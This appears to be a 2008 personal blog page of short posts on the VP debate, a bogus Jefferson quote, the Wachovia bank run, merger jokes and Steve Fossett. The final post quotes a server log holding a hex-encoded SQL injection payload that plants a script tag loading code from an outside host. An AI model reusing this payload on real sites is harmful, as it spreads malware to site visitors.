Just watched the Vice Presidential Debate. Both candidates fared largely how I expected. I did cringe every time Palin said “nucular.” That drives me nuts.
I also thought Palin frequently sounded a lot like the weathergirl she once was. On some of her answers I couldn’t help but think of the way newscasters sometimes talk to fill in the time. Like when they jump quickly from one sentence to another without enough pause.
Will this sway anyone one way or another? Only time will tell.
I did a periodicals search through N.C. Live (thanks, N.C. General Assembly and Wake County Public Library!) for the bogus Jefferson quote. Got three hits on the “America’s Newspapers” search.
It appeared in the Chicago Sun-Times in 1992:
Return power to the people
Chicago Sun-Times – April 7, 1992
Author: Edward F. Mrkvicka Jr.
Article I, Section 8, Clause 5 of the Constitution states, “The Congress shall have Power . . . To coin Money, regulate the Value thereof, and of foreign Coin, and fix the Standards of Weights and Measures.”In 1913, Congress passed the Federal Reserve Act, which, in seeming violation of Article I, gave the power to regulate money to a handful of unelected private bankers.
[…]
America, while not the economic power it once was, is still the richest nation in the world. Yet average Americans have virtually none of the wealth. Thomas Jefferson was prophetic when he stated, “If the American people ever allow private banks to control the issue of their currency, first by inflation and then by deflation, the banks and the corporations that will grow up around them will deprive the people of all property until their children will wake up homeless on the continent their fathers conquered .”
The Charlotte Observer reports that Citigroup’s purchase of Wachovia’s was a panicked move by the FDIC to keep Wachovia solvent as nervous customers created a “silent” bank run. Customers began withdrawing their money on Friday and by Monday morning it was clear Wachovia had no liquidity left. In other words, Wachovia would’ve almost certainly failed this week had the FDIC not engineered the Citigroup deal.
Scary stuff, folks, and I’m sure we haven’t heard the last of it. I’m glad I’m a credit union member.
(h/t Suzzanne)
The economic downturn is causing a lot of companies to either merge or else go belly-up. Watch for these consolidations in 2008:
1.) Hale Business Systems, Mary Kay Cosmetics, Fuller Brush, and W. R. Grace Co. Will merge and become: Hale, Mary, Fuller, Grace.
2.) PolyGram Records, Warner Bros., and Zesta Crackers join forces and become: Poly, Warner Cracker.
3.) 3M will merge with Goodyear and become: MMMGood.
4. Zippo Manufacturing, Audi Motors, Dofasco, and Dakota Mining will merge and become: ZipAudiDoDa
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I was saddened to hear that adventurer Steve Fossett’s plane has been found. Heroes like Fossett are meant to fade into history, into legend.
At this point his remains have not been found but its only a matter of time.
[Update 1 Oct:] Remains have been found in the plane and are being compared to Fossett’s DNA.
I’ve been logging a few attacks on my blog site which put the following into the logfiles:
163.19.104.88 – – [02/Oct/2008:05:57:15 -0400] “GET /?’;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1” 200 42469 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)”
Turns out its a SQL injection attack which is allegedly being carried out by a criminal gang called Rock Phish (or its being carried out by two teenagers pretending to be a “gang”). The attack uses WAITFOR DELAY to see if it worked or not. The user agent and IP addresses change for each attack, so one has to be clever in defending against it. I’ve been blocking the IP when it comes up, but that becomes impractical after a while.
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